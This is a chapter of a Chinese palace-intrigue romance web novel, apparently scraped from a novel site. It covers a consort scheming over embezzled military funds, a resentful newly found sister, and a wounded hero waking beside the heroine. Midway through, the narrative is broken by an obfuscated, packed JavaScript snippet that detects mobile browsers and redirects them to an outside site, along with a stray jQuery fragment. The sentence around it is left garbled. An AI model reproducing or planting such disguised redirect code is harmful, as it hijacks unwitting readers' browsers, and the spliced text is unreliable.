默认冷灰
24号文字
方正启体

45. 第 45 章

作者:居然是零耶本书字数:K更新时间:
    钟粹宫内


    殿内燃着上好的沉香,青烟袅袅,整个殿内却浮动着一股风雨欲来的气氛,让人心悸。


    淑贵妃端坐于上首,那张常年浸润在恩宠与娇惯中的艳丽面容,此刻阴冷得能滴出水来。“季砚临?”她狠狠咬着牙,一字一顿地挤出这个名字,“好你个季山河,当年本宫还是太心慈手软,还是让你死的太痛快了!竟还给我留了这样的后招!”


    她艳丽的脸庞透着一股狠辣,再无半分平日里的温婉柔和,眼底翻涌的阴鸷与愤怒,染着殷红蔻丹的指尖直直地指向一旁的薛枭,“还有你!也是个猪油蒙心的蠢货!连太子安插的人都敢用,给人留下了把柄!”


    “我的好妹妹!你这般着急做什么?”薛枭却仍闲适地倚在黄花梨木椅中,慢悠悠地呷了一口茶,啧啧叹道,“好茶!果然还得是皇城里的日子舒服啊,边关那等苦寒之地,真不是人待的。”


    他放下茶盏,“陛下这不是没有信他吗?于殿前鞭笞!”薛枭脸上勾起一抹冷笑,“季山河当年活着的时候就斗不过薛家,死了又能如何?陛下此举,便是重视咱们薛家,是在安抚你我呢!区区一个季家遗孤,在边关便任我揉捏,如今受了刑,丢了官,御书房的鞭子,那可不是吃素的,如今怕是废人一个了,还能翻起什么浪来?”


    “那姜府便更是不足为惧!姜纪永自己都摘不干净,又能成什么事!他拼着姜府上下的脑袋都不要了?”


    淑贵妃猛地侧首,目光如淬了毒一般,声音尖利,“愚蠢!若是陛下全然信我,为何不立刻下旨将季砚临处以极刑以正视听?为何只是杖责囚禁?”


    她越说越心惊,猛地站起身,华贵的裙裾拂过地面,焦躁地来回踱步。


    “他季砚临拼着前程性命不要,也要撕开这道口子,定然还有后招。我们若是这般坐以待毙,薛家满门都要与你我陪葬。”淑贵妃猛然止步,死死盯住薛枭,发髻上的步摇剧烈晃动,“哥哥!那笔军饷,当年那笔银子!”


    “妹妹!”薛枭脸色一沉,手中的茶盏重重磕在桌案上,“啪”地一声脆响,瞬间便裂了开来,温热的茶汤顺着桌沿滴滴答答地淌下。


    殿内死寂片刻。


    薛枭面上阴沉之色渐渐褪去,眸底却透出一种近乎残忍的松弛,眸底却隐隐藏着狠厉暴虐的凶光,“妹妹放心,这么多年过去了,当年之事,早已死无对证,至于那笔军饷……”


    他嘴角扯出一抹令人胆寒的笑:“很快,也会变得死无对证。”


    **


    时愿带着季砚禾出了听松院,穿过寂静的回廊,欲将她安置在西院的客房,那处景色宜人,离主院也不远,来往二哥哥的院子也更近一些。


    夜已深,今日折腾了一整日,时愿不愿再唤醒下人,自己带着人往西院走去,夜色下,只有裙裾摩擦的窸窣声。


    转过回廊,季砚禾脚步忽的顿住,她抬眸,望着春落院的牌匾。


    春落院。


    她听若风无意间提到过这个地方,只是不知,这处紧邻着兄长的院子,是何人的居所。


    时愿满心都萦绕着季砚临的伤势与父亲可能的牵连,心事重重地向前走着,竟未立刻察觉身后人已驻足。待她回过神来,两人之间已拉开了数米的距离。


    “砚禾?”她回身,有些疑惑地看着驻足不前的季砚禾。


    “时愿姐姐,我想……”季砚禾闻声,缓缓转过头,夜色下,她的身影显得有些孤寂,她咬着唇,声音中带着一丝小心翼翼地试探,“时愿姐姐,我不想住西院客房,我可以住在这里吗?”


    似乎是怕极了,她又急急地说道,“我并无他意,只是想着,此处院子,离,离……”她眼眸中有着一抹试探,“离兄长更近些,我心里也更安稳些。”


    时愿微微一愣,淡淡道,“春落院是我自小的居所,屋内陈设皆按我的习惯布置,怕是会委屈了季姑娘。西院离二哥哥的院子也不远,砚禾若是担心,可随时去听松院。”


    “原来是姐姐的院子。”她抬眸,视线一寸一寸地扫过春落院内的陈设,语气飘忽,“姜姑娘与兄长的感情似乎很好?”


    时愿喉间一涩,“二哥哥……”她喉中酸涩,“二哥哥待……弟妹一向宽厚。”


    姜时远,若是今日你也在,她是不是就不会这般彷徨无助了。


    “二哥哥?”季砚禾倏然转过头,那双与季砚临相似的眼眸,紧紧地盯着时愿,她唇角微微勾起,眼底却无半分笑意,“兄长待姐姐果真亲厚,这声二哥哥,叫的如此亲近呢。”


    时愿心头莫名一紧,还未理清那丝异样的心绪,季砚禾又轻声感叹道,“说起来,真是羡慕姜姑娘,能陪着兄长这么多年,一同读书识字,一同长大。不像我,流落在外,孤苦无依,姜姑娘可知,兄长是从何处找到我的?”


    她向前微微倾身,目光目光似有若无地扫过时愿仍微有红肿的唇瓣,面上竟隐隐透着一股残忍和执拗,“宜春楼!”


    她踱步到时愿身旁,围着时愿徐徐绕着,眸底透着一股令人心惊的凉薄,“想来,姜姑娘这样的大家闺秀也不知道宜春楼是什么样的地方吧?”


    她以帕子掩住口鼻,似是笑得不可控制一般,“那是男人寻欢作乐、一掷千金的地方呀。我自小便被卖入那样的地方,从小遭过不知多少冷言冷语,管事妈妈一点不满,便是一顿暴打。如今能活着与兄长团聚,连我自己都觉得,像做梦一般。”


    时愿愕然失色,眼眸因震惊而睁大,脸上是无法掩饰的痛惜与惊惶。她无法想象一个女孩在那等魔窟中如何挣扎求生,姜家对季家的亏欠,如同沉重的山峦压上心头,让她几乎喘不过气。


    “季姑娘如今回来了,寻回了兄长,以后便安心在府上住下。”


    季砚禾见她面色有异,脸上那点笑意倏地收敛了。她定定地看了时愿片刻,眼神里那点伪装的和气终于褪去,露出底下冰凉的底色。


    她轻轻“嗯”了一声,语气平淡无波:“是啊,如今兄长既然将我寻回,以后,兄长的事,自然该由我这亲妹妹……亲自过问,毕竟,我此是他在这世上,唯一的亲人。”


    她特意加重了“亲妹妹”三字,似乎是在提醒姜时愿什么。


    说完,她不再看时愿,径直往前走去。


    待二人到了西院门前,季砚禾先一步推开了院门,仿佛仿佛她才是这里的主人。


    “我累了,姐姐请回吧。”门在时愿面前缓缓阖上,季砚禾带着冷然的脸消失在门后。


    时愿拖着步子,一步一步走回听松院,屋内烛火点的亮极了,将秦南来回走动的影子投射在窗上。


    时愿有些出神地望着那黑影。


    以后,二哥哥便有自己的亲妹妹了,他,是不是,不再是他的二哥哥了。


    这声二哥哥唤了这些年,如今,也该还给真正合适的人。


    季砚禾才是他的妹妹,他们才是这世间最亲近的亲人。


    她算什么呢?


    与她血脉相连的那个人,如今,已尸骨无存。


    她的爹爹……


    时愿闭目,脸上半点血色也无。


    她似是丧失了所有力气一般,这一夜发生的种种,将她整个人如同傀儡一般提着,她也不知自己


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17183147|196981||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    在做什么,自己应做什么。


    她不知自己该做什么,此刻,她真的好累好累,几乎连呼吸都没有力气了一般。


    **


    秦南带来的药果然有奇效,天还未亮,季砚临便退了烧,人也渐渐清醒了过来。


    刚一睁眼,便看到歪斜着身子倚在榻上的秦南,身上盖着崭新的被褥,他倒是在哪都不会亏了自己。


    不过几步之外的桌案上,时愿正侧脸枕着手臂,似是睡着了,晨光透过窗棱,映出一层朦胧诱人的红光,隐约间几乎能看见她脸上细小的绒毛。


    许是有些冷,她无意识地将脸往身上那件厚实的斗篷里缩了缩,只露出微蹙的眉心和微红的唇角,神态像极了那只猫。


    一缕发丝从她鬓边垂下,拂过她的唇角,随着她的呼吸,轻轻颤动。


    他近乎贪婪地盯着那缕发丝,呼吸都几乎停滞。


    这数月来,这样的场景日日出现在他梦中,他手指微动,想要拂开那一缕碍眼的发丝。


    手臂不过微微抬起几寸,后背处传来一阵阵火灼般的剧痛,这痛楚反而驱散了最后一丝混沌,让他的思绪变得异常清晰。


    他的唇角几乎还能感受到那一抹柔软。


    昨夜他虽然烧昏沉了,但也不至于糊涂到分不清什么是梦,什么是现实。


    更何况,舌尖处被咬破的地方,还隐隐作痛。


    他勾起一抹意味深长的轻笑。


    下手倒是这般狠,也不知是在怕些什么。


    “啧啧啧,瞧瞧这笑得不值钱的样儿。”秦南顺手扔了一个靠枕到床榻上,满脸嫌弃。


    季砚临敛下笑意,眼眸淡淡扫去,压低声音,“莫要吵醒了她。”


    秦南眼睛不是眼睛,鼻子不是鼻子地瞪了他一眼,“我去拿药。”


    门阖上时发出了些轻微的响动,时愿仓皇睁开双眼,恍然间,她觉得昨夜就如一场梦一般。


    “二哥哥……”


    “愿愿……”


    二人同时开口,季砚临带着笑意唤了一声,目光灼灼地盯着他的姑娘看着,待她走近他。


    如同之前一般,扑到他怀中,她的泪会一点一滴泅湿他的衣衫,烫得他心口一阵阵发麻。


    时愿站在桌边,双眸仅仅凝在季砚临身上,不过几个呼吸间,她的双眼便一片通红,眼泪如雨般落了下来。


    心里的委屈、害怕如潮水一般将她淹没。


    可祖父的话,一遍一遍在她脑中回荡着。


    她姓姜。


    欠着季家,还也还不完的血债。


    二哥哥……如今已寻回亲妹,她这个……名不正言不顺的妹妹,又有什么资格再如此唤他。


    昨夜,也不过是二哥哥一时糊涂了,本就算不得什么。


    “愿愿?”季砚临压下心底蓦然升起的烦躁,看着她脸上逐渐退去的喜色,心中虽有疑虑,仍压着眉,面上带着淡淡的笑意,“不过几个月,二哥哥也不认识了吗?”


    时愿垂在身侧的双手紧紧握拳,几乎要拼劲全力,才能压下上前紧紧拥住他的冲动。


    若是不知道真相,她还可以肆无忌惮的在他怀中哭泣,可如今……


    从她决心藏好那枚私印,瞒下父亲当年的罪行开始,她的双手便染满了季家的鲜血。


    季砚临视线落在她被咬得一片斑驳的唇上,眉心微皱,“愿愿吓到了?”


    “莫怕,待……过些时日,父亲大人便会无事。”


    “嗯。”时愿低低应了一声,她的胸口几乎痛得有些麻木,她近乎自虐地勾起一抹笑,唇畔一丝血色也无。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)